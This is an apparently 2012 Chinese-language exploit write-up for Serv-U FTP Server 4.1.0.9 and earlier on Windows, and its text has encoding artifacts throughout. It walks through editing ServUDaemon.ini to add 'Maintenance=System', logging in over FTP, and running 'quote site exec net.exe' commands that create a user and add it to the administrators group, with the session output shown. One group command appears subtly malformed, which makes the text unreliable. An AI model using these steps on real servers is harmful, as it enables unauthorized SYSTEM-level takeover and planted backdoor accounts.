更新時(shí)間：2012-01-09
本地提升權(quán)限：是 遠(yuǎn)程提升權(quán)限：是
使用前提條件：對(duì)Serv-U配置文件有修改權(quán)限
聲明：這只是一個(gè)提升權(quán)限的思路和方法。
一、受影響的軟件
Serv-U FTP Server 4.1.0.9 (以及以前所有版本)
二、受影響系統(tǒng)
Microsoft Windows Server 2003 所有版本
Microsoft Windows XP 所有版本
Microsoft Windows 2000 所有版本
Microsoft Windows NT 所有版本
三、綜述
Serv-U FTP Server為RhinoSoft出品的一款Ftp Sserver軟件，目前在全世界廣為使用。經(jīng)我研究發(fā)現(xiàn)，Serv-U FTP Server的配置文件存貯于Serv-U FTP Server文件目錄下的ServUDaemon.ini文件中。如果本地受限用戶或者遠(yuǎn)程擁有普通權(quán)限的攻擊者能接觸到該文件并精心構(gòu)造ServUDaemon.ini文件中的內(nèi)容就能利用Ftp進(jìn)程在系統(tǒng)上以SYSTEM權(quán)限執(zhí)行任意命令。
四、缺陷分析
Serv-U FTP Serve在設(shè)置用戶以后會(huì)把配置信息存儲(chǔ)與ServUDaemon.ini文件中。包括用戶的權(quán)限信息和可訪問目錄信息。本地受限用戶或者是遠(yuǎn)程攻擊者只要能夠讀寫Serv-U FTP Serve的文件目錄，就可以通過修改目錄中的ServUDaemon.ini文件實(shí)現(xiàn)以Ftp進(jìn)程在遠(yuǎn)程、本地系統(tǒng)上以FTP系統(tǒng)管理員權(quán)限來執(zhí)行任意命令。并且不受系統(tǒng)版本的影響。（用戶信息選擇“存儲(chǔ)與系統(tǒng)注冊(cè)表中”不受此缺陷影響）
五、測(cè)試方法
1、本地測(cè)試
假設(shè)本地受限用戶可以瀏覽Serv-U FTP Serve的文件目錄。找到ServUDaemon.ini文件。用記事本打開原文件大致內(nèi)容為：
[GLOBAL] Version=4.1.0.0 // Serv-U Ftp Server 版本號(hào) ProcessID=584 RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAel
PDKSWM5doXJsgW64YIyPdo+wAGnUBuycB [DOMAINS] Domain1=127.0.0.1||21|127.0.0.1|1|0
//主機(jī)IP以及域名,端口情況 [Domain1] User1=zihuan|1|0 [USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6 HomeDir=c:\
// 可以瀏覽的目錄 TimeOut=600 Access1=C:\|RWAMLCDP 如果把ServUDaemon.in文件修改為：
[GLOBAL] Version=4.1.0.0 ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/
AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS] Domain1=127.0.0.1||21|127.0.0.1|1|0
[Domain1] User1=zihuan|1|0 [USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6 HomeDir=c:\ TimeOut=600 Maintenance=System
//權(quán)限類型 Access1=C:\|RWAMELCDP
以上內(nèi)容比原內(nèi)容多了一句“Maintenance=System”修改完成后保存。
然后在用Ftp登陸到Serv-U FTP Server以后執(zhí)行如下命令： ftp>open ip
Connected to ip. 220 Serv-U FTP Server v4.1.0.0 for WinSock ready... User (ip:(none)): id
//輸入構(gòu)造的用戶 331 User name okay, please send complete E-mail address as password. Password:password //密碼 230 User logged in, proceed. ftp> cd winnt //進(jìn)入win2k的winnt目錄，如果是winxp或者是windows server 2003就應(yīng)該為windows目錄。 250 Directory changed to /WINNT ftp>cd system32 //進(jìn)入system32目錄 250 Directory changed to /WINNT/system32 ftp>quote site exec net.exe user zihuan ziHUAN /add //利用系統(tǒng)的net.exe文件加用戶。 200 EXEC command successful (TID=33). ftp>quote site exec net.exe localhost administrators zihuan /add //提升為超級(jí)用戶
這樣就在本地系統(tǒng)上加了一個(gè)為zihuan密碼為:ziHUAN的超級(jí)用戶。也可以直接用quote site exec net.exe localhost administrators user /add命令把當(dāng)前用戶提升到超級(jí)用戶組中去。當(dāng)然也可以在系統(tǒng)上執(zhí)行任何命令。
